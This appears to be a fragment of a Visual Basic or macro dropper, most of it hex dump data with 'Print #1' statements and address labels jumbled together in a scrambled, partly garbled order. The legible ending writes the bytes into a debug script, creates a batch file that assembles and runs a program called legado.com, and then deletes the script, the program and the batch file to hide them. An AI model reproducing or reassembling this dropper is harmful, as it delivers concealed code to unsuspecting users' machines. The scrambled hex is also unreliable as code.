80 57 01 01 16 16 06 55 16 16 8A FD FE FE 7E 01 EB 06 FB 06 16 0E FE 21 FC 6D BF 08 5D 00 8D BF 01 01 00 E8 00 CD C4 8B 00 8A 12 76 B8 8B EC 33 AB 06 5D B0 C0 0A 0A CD 1E 4F 55 07 25 05 5D B1 B1 C3 EC 02 3C 3E 8B 1E AA

7E 9A 8D 8D 57 57 5C 89 57 57 86 7E 80 FE FE 8D 79 21 16 0E 57 57 16 01 FD 00 10 0E CB 00 BE 4E 21 BF 50 87 00 21 7E 4E 55 C6 AB 08 00 EC C4 D2 5D 8B CA 16 AA B4 00 21 1E 8B 8B AB 1F D3 CA 09 0B 1F 20 B0 7A 00 CA 07 F3

F7 3F BE BE BF 9A 2A E5 BF B8 FE 03 BB 16 8A BE 8D 01 57 57 8D 9A 57 0E 74 05 08 57 06 21 00 08 01 76 9A FD 00 32 0E 0A 8B C4 5D 8A 33 8A 7E EB CA 56 08 07 C5 4E 55 C4 06 F7 EC 8B 00 E8 08 D3 D3 C4 1E 1F 77 8E F3 32 A4

00 04 76 76 2C FD 2E 81 E0 FF FD E9 FE 57 83 FE BE BF 8D 9A BE 78 9A E8 03 2A 0E BF 4C 01 FF 0E 8D 06 84 89 00 E4 AB 8A EC 7E CA 56 CD 56 0A 02 08 08 00 FC 56 CD 8B 7E 1F 4E C4 46 AB 25 00 E0 E0 7E FC 98 02 1E A6 C0 1F

74 21 FF FF 06 05 63 EC 06 00 30 D1 FD 9A FE FE FC E5 BE 78 FE 07 F9 23 E9 2E 57 16 45 9A 16 57 BE 1E 00 EC 00 C4 91 76 B4 0A 10 06 21 06 26 33 00 B8 55 AC 06 21 EC 06 32 FD 7E 0C 8B 3F 55 92 93 06 C5 8B 2C 2C 74 B9 8B

51 01 16 16 0E 21 6F 04 0E 50 E4 00 3B F9 FD 16 FC 06 FE 07 FE 21 06 FC 34 65 BF 08 47 0D 57 9A 00 57 8D 5D 00 7E C4 08 2C AB 00 B4 C4 B8 8B C0 55 01 8B 3C B4 1F 1E E8 C0 F3 06 B1 46 00 8B AD AD AB 76 C8 20 00 08 00 E5

8D 8D 57 57 57 01 6D 04 57 9A 89 89 74 06 50 57 16 0E FE 21 16 01 21 C6 FF 78 16 0E 41 00 BF EA FF B8 00 31 00 06 7E 8A CD 8A 55 2D 7E 01 1D A3 8B 57 EC 4F 1A C4 C5 04 B9 A4 FC 05 0A AB EC B1 B1 92 06 40 AA 33 4E 01 5D

BE BE BF 9A 9A 89 01 9A 9A 13 86 46 3A 21 9A B8 57 57 16 01 57 8D 01 86 89 65 08 57 44 BF 47 07 16 4F 0E C0 00 AB 12 56 21 C1 8B CD 06 33 B8 F4 EC CD 83 72 CD 7E 56 00 00 AA 8B D3 B1 8B 1E 05 05 AB 8D 8B E2 F6 AC F2 CA

76 76 22 FD 3F EC 5C D8 D1 07 FC FE 8D 01 15 FF 8D 9A 57 0E 9A BE BF FE EC 55 0E 0E 4F 00 08 21 57 00 E8 9A 00 8A AB 06 32 C4 EC 21 26 CD 00 06 C4 21 EC 02 21 06 06 5D 01 FC 46 E8 0B 46 C5 D3 D3 5D 7E D0 F2 80 0A AE 04

FF FF 06 05 04 5D 06 02 01 21 FD EB BE 8D 08 00 BE 78 9A E8 F9 FC EC FE 5D 89 57 E8 05 55 0E 01 31 50 6D 16 00 C2 5D B4 E4 7E 8A 5D 88 21 57 C4 7E 72 50 B0 8D E8 B4 CA FC 1F 0C 25 D3 0A 76 E0 E0 CA E0 E3 B0 3C C0 F6 00

16" 16" 0E" 21" 21" CB" 5C" 8D" 8D" 01" B8" 03" FC" BE" 21" 50" FE" 07" F9" 5D" 06" FB" 06" 00" CB" E5" 0E" DD" 4E" 89" 57" 75" C0" 9A" FF" 01" 00" C4" CA" 2B" 8A" 0E" 6E" CA" 15" 5D" CD" 7E" 0A" 02" 1E" 4F" 56" 20" 1A" 04" F2" 33" B1" 0F" E8" 25" 0A" 03" 03" 08" 16" 0E" 3D" 00" 75" D1" 55"


#1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1,

"E0DF0 "E0E00 "E0E10 "E0E20 "E0E30 "E0E40 "E0E50 "E0E60 "E0E70 "E0E80 "E0E90 "E0EA0 "E0EB0 "E0EC0 "E0ED0 "E0EE0 "E0EF0 "E0F00 "E0F10 "E0F20 "E0F30 "E0F40 "E0F50 "E0F60 "E0F70 "E0F80 "E0F90 "E0FA0 "E0FB0 "E0FC0 "E0FD0 "E0FE0 "E0FF0 "E1000 "E1010 "E1020 "E1030 "E1040 "E1050 "E1060 "E1070 "E1080 "E1090 "E10A0 "E10B0 "E10C0 "E10D0 "E10E0 "E10F0 "E1100 "E1110 "E1120 "E1130 "E1140 "E1150 "E1160 "E1170 "E1180 "E1190 "E11A0 "E11B0 "E11C0 "E11D0 "E11E0 "E11F0 "E1200 "E1210 "E1220 "E1230 "E1240 "E1250 "E1260 "E1270

8B 3E 82 76 F3 F6 8D 82 8E CA 00 CD 1B 75 55 E8 57 0E 3C 00 00 06 26 00 21 06 74 00 00 B4 58 F2 06 A3 3E 0C 06 03 E8 57 77 3A 02 3E 02 8B 01 EE DC 17 36 2A FE 80 8A 00 CB 8E 00 1D 3B E6 00 01 07 0B C5 00 45 03 B2 8C 8B

EC 00 AC 06 A4 46 7E 8D DA 08 90 21 21 00 89 28 9A 08 07 B4 07 8E 8A F7 1F 3C 2D E8 01 0F B1 8A 89 02 FA 07 B4 E8 6D 0A 27 0E 07 00 07 CA 06 8B 36 3A 05 06 C0 80 47 07 A0 06 E2 74 D3 61 E4 CD 00 07 7F 89 30 BB D7 4D EC

89 A1 3C 8D B0 8D D2 5E FA 00 FC 1F 23 00 E5 00 09 1E 74 08 33 06 1D F1 C3 04 B8 40 B9 E8 00 D4 16 07 06 00 00 0E FF 36 3A 08 89 07 E8 8A 50 16 8A 16 07 02 CB 26 04 CA 0A 4A F6 F3 73 B0 61 16 0A 0A 04 45 00 7D B8 1A C4

26 2C 4F BE 0D 7E 89 F2 8B B4 2E 8F 24 00 B8 BF 03 57 0A 32 C0 4A B8 A3 8E 72 12 05 00 1F 0A FE 08 89 00 75 CD 03 A0 8A F5 07 0E 8B 25 16 E8 04 57 04 77 07 8B 00 24 02 07 00 CA C3 1A B6 24 B0 C0 E4 C7 0C 1F 04 4C 89 7E

F6 00 72 02 AA E2 7E B8 26 4D AC 05 34 00 FF 0E 21 9A 3C FF A2 00 E4 06 06 02 11 80 06 05 D2 CA 07 16 74 01 16 E9 0A 77 77 77 04 0E 03 04 FD 07 06 07 03 FE DC 07 07 00 A2 33 02 8B F7 E6 FC 00 75 75 45 8C CA 8B 04 4D 06

06 89 02 FF 16 89 FC 00 F6 CD B4 8F 35 00 00 07 01 0E 03 E8 FB BF FF 07 4A B0 B3 FA E8 50 75 B4 88 04 05 C3 EB 89 07 08 23 13 07 02 CB 07 02 3A 36 77 E8 C0 36 70 B1 80 00 FF 00 DC F3 43 E6 74 12 02 02 5D 04 CB 8B 1C 26

8C 46 B0 AC 1F 7E 8C 4B 06 21 35 45 36 00 9A 1E BF 03 76 BC 06 6C 99 1E 00 03 00 2A 2C B8 08 00 0E 07 C6 C6 F4 FE A2 36 FE FE E8 07 E8 E8 58 EE 8A 11 C2 CB 8A 08 04 26 07 26 2D 36 8B 8A 61 02 32 B0 B0 0E 00 81 D8 8C 8B

16 F2 4F 3C 8D F8 46 CD 8E CB CD 02 37 00 16 57 0E 21 06 05 A2 00 E8 0E 26 50 E8 75 05 30 B2 80 FD C3 06 06 B0 8B 00 8A CA CD 41 8B 1A 1B 8A 75 77 FE 02 E8 47 06 D2 00 CB 8A 01 8B D8 C3 CB B0 E4 03 D7 C7 8B 7D 89 4D 55

F8 16 98 7E B6 8C FE 21 16 BF 21 83 38 00 01 0E 08 01 B8 8A 0B 26 3C 1F 80 B4 4A 16 B4 11 18 FE 06 50 0C 0C 5E DC 07 4F 78 3A 03 16 03 04 3E 02 04 CE CA A9 04 00 E0 07 8B 1D 00 5F E4 E6 80 01 CD E8 C7 45 DC 02 45 1E 04

06 07 91 72 02 46 B8 72 F8 0E 06 C7 39 00 21 E8 1E 5D 03 C4 07 8A 02 BA 26 00 05 26 12 B7 3C 18 C6 1E 07 07 E8 36 CA 06 1F 2E CA 04 B8 CB 00 32 FE 02 04 02 A8 07 80 F7 DC A1 83 04 61 42 3E CB 16 13 45 10 1E B1 14 33 4A

81 FC F3 02 FF FA 01 02 06 09 53 04 3A 00 01 20 57 CB 00 24 A2 1D F7 38 87 E8 B8 80 B3 00 03 76 06 B8 01 00 1D 8B 02 36 FE 09 08 07 00 B8 07 C0 CA 36 00 8A F0 CA 26 CB 36 06 DA B8 A8 8A 0B A0 0A FE 04 67 36 D7 8C C0 4A

EC C5 A4 B0 89 B8 29 33 FB BE 1E E2 3B 00 5D 03 0E B4 E8 7F 0C 26 D0 01 00 57 30 0E 20 B2 77 02 FC C2 1F B4 03 47 00 8A CE 07 00 E8 06 01 8A E8 02 03 E8 C6 74 02 00 80 8B 07 00 DD 03 C7 07 0B C0 CB 80 03 C5 74 4D 1F 26

FE 76 32 7E 76 01 CD C0 A3 FE C5 E6 3C 00 C3 BF E8 0F 55 A2 07 3A F7 B8 FE 05 11 87 E8 00 02 B4 06 01 58 01 B0 04 8B 6F 78 77 B8 36 8A 07 0E F6 16 07 B5 2A 04 00 07 0E 4F 33 72 34 75 E6 00 07 75 8B 00 8C 7F 0A 16 CA 8B

00 0A C0 AA F4 29 21 BA F4 02 15 CB 3D 00 55 0E 0D E8 00 0A 40 1D D2 1B 3C 58 B7 00 25 E8 B1 01 01 8E CF CD 43 E8 DC 04 1B 0B 00 04 3E EB 02 03 02 72 02 06 24 8B 8F 00 04 D2 05 BA 08 42 75 C6 0A DC 8D 4D 04 C7 89 04 75

8E 8D AA 98 8C CD 8D C2 06 B9 B4 00 3E 00 89 07 03 D4 E8 07 A2 74 B9 25 07 0A 00 01 05 14 01 A3 33 D8 80 16 E8 23 36 3A FE 89 06 8B 00 03 07 CB 07 09 8A 03 0F DC 08 07 E3 E8 26 12 0C CA 08 06 88 1E 85 12 B8 45 5D 00 08

1E" 7E" C5" 91" 5E" 21" 56" 01" 5D" 13" 25" 02" 3F" 00" E5" 1E" BF" 05" 9F" A2" FA" FB" 37" CD" 74" E4" B2" B8" C3" 05" 8A" FE" C0" 80" 3E" 74" 18" FF" 8A" D1" C9" 16" 8A" 16" 07" B8" 8A" 8B" 72" 3A" C2" 07" 0C" 36" 06" 08" 13" 05" 3A" 00" 03" 02" B4" 0B" 26" 36" 80" C6" 9F" 02" 18" 55" 26"

17


18 Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print Print

#1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1,

"E1280 "E1290 "E12A0 "E12B0 "E12C0 "E12D0 "E12E0 "E12F0 "E1300 "E1310 "E1320 "E1330 "E1340 "E1350 "E1360 "E1370 "E1380 "E1390 "E13A0 "E13B0 "E13C0 "E13D0 "E13E0 "E13F0 "E1400 "E1410 "E1420 "E1430 "E1440 "E1450 "E1460 "E1470 "E1480 "E1490 "E14A0 "E14B0 "E14C0 "E14D0 "E14E0 "E14F0 "E1500 "E1510 "E1520 "E1530 "E1540 "E1550 "E1560 "E1570 "E1580 "E1590 "E15A0 "E15B0 "E15C0 "E15D0 "E15E0 "E15F0 "E1600 "E1610 "E1620 "E1630 "E1640 "E1650 "E1660 "E1670 "E1680 "E1690 "E16A0 "E16B0 "E16C0 "E16D0 "E16E0 "E16F0 "E1700

C4 00 74 74 00 87 A4 E2 0A 26 7F 80 EB 04 00 74 01 B4 09 5B 06 5A 01 8A 74 FF C2 CA 02 00 C8 4A 51 F6 83 00 74 8B 5F BA 00 00 00 06 13 C7 13 04 63 50 CB FD 01 83 B4 5D 5B A3 8E 3D 06 1E 34 A3 0E BE 21 BB 1E E8 2E E8 50

7D 3C 27 4F 3B 00 3B EF E8 89 04 3E 03 00 58 35 5A 0E 8A C3 8A 59 1E 05 39 8A 00 EB 07 89 8B B0 52 26 C2 8A 16 C3 5A C2 8B A3 A3 30 00 04 01 01 02 1E 33 F0 40 E7 54 1F EB 38 C0 00 08 3E 00 42 E8 39 1F 4C 00 35 8A 07 E8

0C 08 3C 3C DE B0 DE EB 4E 45 26 FC E8 B0 3C B4 FE E8 16 FE 3E C3 8E 3C 47 16 5A 0F 47 16 16 0F 57 4A 06 1E AC AB 59 01 C4 12 2A 00 90 E2 B8 B8 0E 50 C0 74 A2 1F CD 07 07 00 26 10 00 00 8C 00 CF 02 83 02 A1 00 07 00 1E

33 74 01 20 76 20 74 91 00 08 8B 06 9C 0D 07 09 C2 4F 02 C6 00 B4 1E 07 FE 02 59 E8 8B 50 63 EE 1E 00 80 FD 8A FB C3 8E 05 00 00 D6 FC EF 23 3F 50 B8 9C 0E 52 81 21 CF B8 8B A1 73 72 83 C0 B8 01 B9 C7 E8 3C BB 0A B1 00

DB 34 74 72 C0 E8 A0 80 26 26 4D 00 00 E8 74 8A 3A 01 07 3A 07 03 4A 74 C2 07 EB 46 F7 00 00 EB 06 32 3E 06 D8 E2 56 DA 13 03 8E 00 2E 1E 25 25 0E 63 5B 40 00 C7 8B B8 FF C1 10 10 06 EB 0B 6E B8 13 04 2A 00 60 C0 0A 58

C6 3C 23 CF 8B 82 26 3E C7 89 08 75 E8 02 2A 1E 16 EB EB 36 8B 32 00 21 3A EB 1C 00 8B 8A B0 00 8B FF 49 8A EC EC 57 8C 00 06 06 8C AC 0E CD CD E8 02 80 80 C3 96 EC D0 00 0B 00 BA 26 10 C3 01 0E 00 E2 00 E8 02 74 E8 8A

06 13 3C 3B F3 00 8A FB 01 5D 26 0B D6 00 3C 00 04 13 03 05 0E FF 8B 3C 16 2C E8 E8 DA C6 0E 8A CF 03 00 3E A8 EB 55 06 B1 0A 3E 0E B4 1F 21 21 F3 0E E7 CF 33 00 80 00 33 C3 0B 10 A1 89 74 0E 08 90 F0 A1 40 E8 06 02 C4

0B 74 06 DA EB B0 01 06 0D 0A 29 26 FC B0 08 07 07 3A E8 07 02 E9 16 08 04 E8 53 79 E2 F6 EE C1 2B C3 07 00 01 06 06 3E 04 00 00 32 35 BA BA 1F 01 50 0F F0 C0 80 4E 83 C9 74 C0 00 14 0E 13 50 1E FC A1 38 00 07 E8 00 C3

07 30 74 74 BC 08 3C 00 0A 5D 4D 8A 33 0A 74 32 76 16 08 76 07 0A 50 74 07 62 00 FF A6 26 EB 42 CE D1 1F 07 75 8A CD 00 D3 A3 26 00 CD 0C DB B8 0E 0E 53 53 CA FC 16 C4 33 3D 74 F7 00 3A 33 06 50 2E 3A 00 B0 00 38 EB 50

00 3C 37 CB 0B E8 20 74 43 CA 08 05 C0 53 2D FF 20 02 00 18 8B 01 00 2C 76 00 3A EB E8 4A 00 EE 1E E0 A1 06 FB E7 10 33 E8 14 A1 BF 21 01 00 0E E8 E8 9D 9D 02 39 01 06 DB A1 1B E2 EB 00 C0 53 0E AC 00 E8 3A A1 00 04 8A

0E 04 3C 26 DB 7D 72 8A 43 04 E3 E8 CA 51 3C B9 8A 07 E8 FE 16 B4 1F 3C 3C 51 16 07 30 00 8A 1F 8E 8B 50 1F FA AC 07 ED 8C 00 02 0E 89 B8 B8 07 6D DF 9C 9C 00 73 58 EB BA 16 2B 03 D1 89 A3 CB E8 B4 0B 32 E8 38 43 32 C4

E8 74 1A 88 74 00 99 26 C4 00 19 1C 04 52 0D 01 16 74 2D CE 04 02 8B 0A E8 52 02 E8 00 32 C5 C3 1E F8 00 8E EC AB 5D E8 D2 A3 00 09 1D 00 24 1E 02 01 59 59 FB 03 5B 03 C2 00 C3 C1 8B 1E 34 B8 C6 25 06 00 55 00 EB E4 E8

5C 44 74 01 B8 4B E8 88 7E 8B 26 00 00 06 74 00 02 0D 00 51 07 32 DA 74 6E B8 07 3E 1E F6 42 3B 4A 8B 75 C0 A8 E2 5F E9 03 1E A3 BE 8C 25 25 50 B8 0E 80 80 83 BF 59 B8 01 0B 77 72 C8 3C 00 0E 01 1E 3C BB 00 B4 F3 F6 01

FF 49 46 43 B0 E2 6A 01 06 DC C4 47 33 50 33 52 07 FE 07 52 E8 FF 8B 35 00 07 74 00 8E 03 EE F7 00 16 03 FC 01 FC 5E 09 C2 00 26 39 45 CD CD 1E 0E E8 E5 E5 C4 FF 5A C8 8E C0 17 07 8C 00 A3 07 BF C5 00 5B A1 4C C3 F1 00

B9 3C 3C E8 08 EA 00 43 33 36 7D E2 C0 E8 3C E8 EB CA 5A B8 14 E9 F7 3C E8 0E 13 8A 1E C2 EB 74 8A 63 A1 0A 74 07 C3 E8 A3 A3 00 02 02 21 21 50 08 5E F0 F0 06 FF 5E 00 DA 74 F7 26 C3 C4 36 1E 0E 15 74 02 3A CD B1 04 58

01" 1B" 0D" 98" E8" EB" 43" EB" C0" C4" 0C" F7" CA" 72" 0A" 63" 17" EB" 59" 01" 01" 03" 26" 0D" A1" E8" FE" 16" 4A" 8B" 00" 63" C7" 00" 4E" DB" FB" 1F" 00" A0" 10" 22" C7" B9" 83" BA" BA" B8" 1E" 02" 80" 74" 58" 57" 5F" 59" FB" 2F" D8" 3B" 2B" 1E" 00" 50" 09" CD" 29" E8" 00" 21" 64" 30" 50"


#1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1, #1,

"E1710 "E1720 "E1730 "E1740 "E1750 "E1760 "E1770 "E1780 "E1790 "E17A0 "E17B0 "E17C0 "E17D0 "E17E0 "E17F0 "E1800 "E1810 "E1820 "E1830 "E1840 "E1850 "E1860 "E1870 "E1880 "E1890 "E18A0 "E18B0 "E18C0 "E18D0 "E18E0 "E18F0 "E1900 "E1910 "E1920 "E1930 "E1940 "E1950 "E1960 "E1970 "E1980 "E1990 "E19A0 "E19B0 "E19C0 "E19D0 "E19E0 "E19F0 "E1A00 "E1A10 "E1A20 "E1A30 "E1A40 "E1A50 "E1A60 "E1A70 "E1A80 "E1A90 "E1AA0 "E1AB0 "E1AC0 "E1AD0 "E1AE0 "E1AF0 "E1B00 "E1B10 "E1B20 "E1B30 "E1B40 "E1B50 "E1B60 "E1B70 "E1B80 "E1B90

B1 04 35 69 2E 79 39 36 B8 B8 4F 0A 36 26 45 D7 3D 06 C0 E8 00 D7 00 1C 57 8B 8B 45 8B 08 00 33 C0 04 D2 B8 75 AA D2 81 06 58 CD D7 DC 40 04 CD 26 3F 0A 8B 00 00 C0 26 7E 74 0B C4 C8 00 36 00 06 C8 C0 73 83 00 B4 8E AE

04 07 36 6D 0D 72 32 C4 80 10 00 C0 C4 89 08 EB B1 42 26 4C EB 74 EB 00 06 DC 1D 08 DC 26 1F C9 1F 76 8B B0 09 E2 EB 7D 42 26 21 26 36 CD E8 21 81 BA E8 1D 5D 55 74 8B 06 17 D7 7E 8B 42 C5 CA 8D 76 AA 05 C7 55 30 06 EB

D2 8A 37 65 0A 69 20 7F 00 09 0B 74 7F 45 26 03 D7 00 89 00 02 18 18 E8 57 1E B4 00 1E 8B CA 26 CA 06 DC D7 AC F8 06 02 00 80 1F 89 C4 21 1C 73 7D 64 DC CD CA 8B 1C 1D 8C 89 74 0A 46 CD 57 04 7E 04 C5 A3 30 8B CD 2C F4

E8 D0 38 20 00 67 42 08 AB AB D2 03 0A 0C 89 BA 74 66 55 74 B0 26 50 0A 26 36 3F 00 36 1D 04 87 04 B4 1E AB 3A 32 B8 B0 66 7D 73 05 7F 73 00 03 02 00 FF 21 04 EC 1E CD C2 0E 05 E8 06 21 04 00 B0 8A 56 42 FC EC 21 00 83

E8 B4 39 65 50 68 6F 36 33 B8 75 AA 36 36 45 B3 12 00 02 06 01 81 BB 00 FF C4 CD 1F C4 B4 00 4D 00 3E 36 33 C8 C0 00 D7 00 30 06 8B 04 03 75 A3 B3 EB 75 5A 00 C4 51 21 0B 42 33 4A 26 73 83 BA 16 C8 0A 00 AC 8B 3C 33 C7

03 06 3A 72 6F 74 72 C5 C0 21 09 E2 8B 8B 0A D7 3D EB 26 26 55 7D 14 26 19 7F 21 CA 7F 40 8B 08 8B CD C4 C0 76 AA 3C 74 EB 00 A3 46 E8 A3 17 42 D7 05 1B 1F B3 7E 26 59 D7 00 C0 FF F7 03 C2 33 07 E3 83 EB AA 56 03 FF 03

00 CD 3B 72 72 20 6C 77 AB 01 AC F8 47 47 CA 55 B2 24 89 C7 8B 02 00 C7 0B 04 72 04 04 CD DC 26 DC 21 7F B9 04 1F BA 1A 34 74 42 06 38 42 26 00 74 B4 1E 72 3F 10 F7 1F 74 EB 26 75 65 A3 30 D2 FC 08 C2 14 0A 06 B8 FC 8B

58 21 3C 6F 74 28 61 04 AB AB 3A 32 04 08 0A 8B D7 52 45 45 EC B2 E8 45 C0 26 10 00 26 21 1E 8B 36 72 08 16 8A CA 01 26 50 12 00 26 00 00 8B 26 06 40 52 06 B9 E8 65 72 05 11 89 21 04 42 B4 55 B9 AC 30 1E C0 0B 00 26 F7

24 C3 3D 72 69 63 6E FC AB 33 C8 C0 26 26 00 EC 74 06 08 02 C4 D7 15 02 74 C5 26 26 C5 72 36 1D C4 02 36 00 C8 08 00 81 52 1E EB 89 75 CA 1D C7 C7 BA C5 3B 64 A6 04 1F 26 A3 05 8B 03 00 41 8B 4F 0A 8D 8D 75 D2 00 3A B9

0F 00 3E 20 6F 29 64 33 8D C0 76 AA 89 89 BA C4 0D 57 26 B0 7E 74 00 B0 03 55 89 C7 55 07 C4 B4 7F 33 C5 F3 E3 00 55 7D 06 8D 11 45 0E 04 83 45 06 65 56 C1 00 FF 8B 33 89 42 5D 46 CA 5D CD EC 00 C0 7E 76 FA 74 72 05 00

04 02 3F 00 6E 20 BA C0 45 B9 04 1F 45 45 B1 7E 3D 0E 89 D7 06 08 58 D7 A3 0C 45 45 0C 2B 7F 40 04 C0 77 AB 08 A0 8B 02 57 55 92 04 33 00 FB 02 42 00 06 74 EB 75 C8 D2 05 00 CA 08 8B CA 21 83 0B 74 B0 B0 1F 05 25 74 01

30 1B 75 20 73 31 33 AB 74 0E 8A CA 04 0E D7 06 B0 E8 45 5D 26 C7 0A 5D 42 26 0A 0A 33 C1 04 CD 26 CA 04 B9 AC 54 EC B3 0E 30 26 5D C9 8B 04 B0 00 55 26 05 05 3F C5 26 EB C4 0E 26 D0 08 1F EC D2 03 B4 16 8B E8 8E 07 F2

3C 21 52 61 20 39 D2 B8 AB 00 C8 08 36 33 EB 26 D7 25 0A CA 81 06 C0 CA 00 8B 33 00 C9 74 26 21 8B 04 FC 4F 0A 00 C4 D7 E8 06 C7 CA 26 DC 76 D7 67 8B 8B 8B B3 8B 56 F7 1C 7E 00 F7 26 00 73 50 75 AA 56 1F E5 49 06 B9 AE

3A 23 75 74 43 38 8B B0 8C F3 E3 00 8B C0 08 8B 74 00 BB 04 7D 42 74 04 5F 4D C0 00 26 03 C5 72 1D 00 33 00 C0 B4 7E 74 4C 1F 45 06 8B 36 09 CA 00 EC 4D C2 40 46 0C 75 3B 06 55 65 8B 8B 03 1E 09 E2 CD C4 5D 00 3E FF 91

72 24 6E 20 6F 33 DC D7 C0 AB 08 8B 47 26 BA 45 10 5A 10 00 02 00 0C 00 07 04 26 EB 87 B8 55 02 83 BA C0 0B 74 3D 08 08 00 33 02 00 1D C4 B4 04 C3 C4 04 A3 B9 0A 8A 04 46 8C 8B 04 1D DC A3 C5 AC F8 21 7E CA EB 00 FF F6

02" 34" 74" 00" 70" 2C" 1E" AB" AB" B9" AC" DC" 06" 89" B2" 02" C7" 33" 00" B0" B1" 67" BB" 06" C3" 26" C7" EE" 4D" 65" 0C" 33" FB" 33" AB" D2" 03" 33" 26" C7" 5A" C9" B3" 8B" B4" 7F" 3E" 00" B4" 7E" 26" 42" 65" 0B" E3" C4" 0A" C2" EC" 8B" B8" 1E" 42" 76" 3A" 32" 1F" 0A" 08" 30" 26" F2" D0"

19

20


Print #1, "E1BA0 1E 06 1F C4 7E 08 FC AA Print #1, "E1BB0 33 D2 E8 02 00 93 CB 8E Print #1, "E1BC0 0D 32 ED 47 33 DB E3 09 Print #1, "E1BD0 F7 8B F7 E3 09 26 80 3D Print #1, "E1BE0 2B C6 74 04 43 4A 75 DE Print #1, "E1BF0 7F 08 36 C5 77 04 AC AA Print #1, "E1C00 CA 04 00 FC 8B DC 8C DA Print #1, "E1C10 36 8B 4F 04 AC 3A C1 76 Print #1, "E1C20 F3 A4 8E DA CA 0A 00 FC Print #1, "E1C30 36 C5 77 08 8A 04 32 E4 Print #1, "E1C40 B9 01 00 03 F1 2B C1 72 Print #1, "E1C50 7D 02 33 C9 3B C1 76 06 Print #1, "E1C60 C8 F3 A4 8E DA CA 08 00 Print #1, "E1C70 08 36 C5 77 04 26 8A 0D Print #1, "E1C80 26 C6 05 FF 8A C1 F6 D0 Print #1, "E1C90 DA CA 04 00 55 8B EC 1E Print #1, "E1CA0 2C 8A D0 32 F6 C4 7E 06 Print #1, "E1CB0 1C 41 47 AC F2 AE 75 15 Print #1, "E1CC0 A6 74 0E 8B F8 8B CB 8B Print #1, "E1CD0 04 48 2B 46 06 1F 5D CA Print #1, "E1CE0 C5 77 08 36 C4 7F 04 AC Print #1, "E1CF0 76 02 8A CC 0A C9 74 06 Print #1, "E1D00 8E DA CA 08 00 FC 8B DC Print #1, "E1D10 8A 47 04 AA CA 02 00 FC Print #1, "E1D20 36 C5 77 06 36 8B 47 04 Print #1, "E1D30 06 00 55 8B EC 81 EC 00 Print #1, "E1D40 46 06 01 00 8D BE 00 FF Print #1, "E1D50 01 00 50 8B 46 06 48 50 Print #1, "E1D60 57 0E E8 03 FF 8D BE 00 Print #1, "E1D70 FF 76 06 B8 FF 00 50 0E Print #1, "E1D80 7E 0A 06 57 FF 76 08 0E Print #1, "E1D90 00 55 8B EC 81 EC 00 02 Print #1, "E1DA0 08 00 7E 56 81 7E 08 FF Print #1, "E1DB0 7E 05 C7 46 06 FF 00 8D Print #1, "E1DC0 06 57 B8 01 00 50 8B 46 Print #1, "E1DD0 BE 00 FE 16 57 C4 7E 0A Print #1, "E1DE0 50 B8 FF 00 50 0E E8 3E Print #1, "E1DF0 06 57 B8 FF 00 50 0E E8 Print #1, "E1E00 8B DC 1E 36 C5 7F 04 33 Print #1, "E1E10 02 B1 D7 74 0D B0 02 FF Print #1, "E1E20 B4 3C 80 7D 30 00 74 09 Print #1, "E1E30 05 B8 B0 03 BA 21 01 33 Print #1, "E1E40 74 2F 8B 1D B8 00 44 CD Print #1, "E1E50 21 01 8B C8 8B DA 75 14 Print #1, "E1E60 2B 00 B8 E0 03 BA 21 01 Print #1, "E1E70 D7 89 45 14 89 55 16 89 Print #1, "E1E80 25 04 C7 45 1E 21 01 33 Print #1, "E1E90 C9 8B 1D B8 02 42 CD 21 Print #1, "E1EA0 33 C0 33 D2 8B CA 8B D0 Print #1, "E1EB0 95 80 00 B9 80 00 8B 1D Print #1, "E1EC0 33 DB 3B D8 74 20 80 B9 Print #1, "E1ED0 8B D3 2B D0 B9 FF FF 8B Print #1, "E1EE0 8B 1D B4 40 CD 21 C3 BF Print #1, "E1EF0 CF D1 E9 33 C0 FC F3 AB Print #1, "E1F00 00 00 05 4D 5A 60 00 10 Print #1, "E1F10 00 00 00 00 00 00 00 00 Print #1, "E1F20 00 00 00 00 00 00 00 00 Print #1, "E1F30 00 00 00 00 00 00 00 00 Print #1, "E1F40 00 00 00 00 00 00 00 00 Print #1, "E1F50 00 B8 00 00 02 00 00 00 Print #1, "rcx" Print #1, "1E60" Print #1, "W" Print #1, "q" Close #1 Open "C:\EXEC_LG.BAT" For Output As #1 Print #1, "@echo off" Print #1, "debug < legado.scr > nul" REM Print #1, "echo Debug fim" Print #1, "c:\legado.com" Print #1, "del c:\legado.scr " Print #1, "del c:\legado.com " Print #1, "del c:\exec_LG.bat"

91 06 26 20 C3 8A 36 02 8B 36 13 8B FC 32 03 C5 26 8B 76 08 26 32 36 8B AA 02 16 0E FE E8 E8 83 00 BE 08 06 FE 09 C9 05 8D C9 21 81 33 4D C0 2D 8B B4 80 1D 56 C3 00 00 00 00 00 00

F3 3E 80 76 FC C8 C5 8A DC 8B 40 C1 8B ED F9 76 8A C7 0A 00 8A ED C4 DC 8B 83 57 E8 16 AC 78 7E 7F 00 48 57 0E FE 89 81 55 33 F6 7D C9 18 1F 80 1D 3F 00 B8 00 00 00 00 00 00 10 00

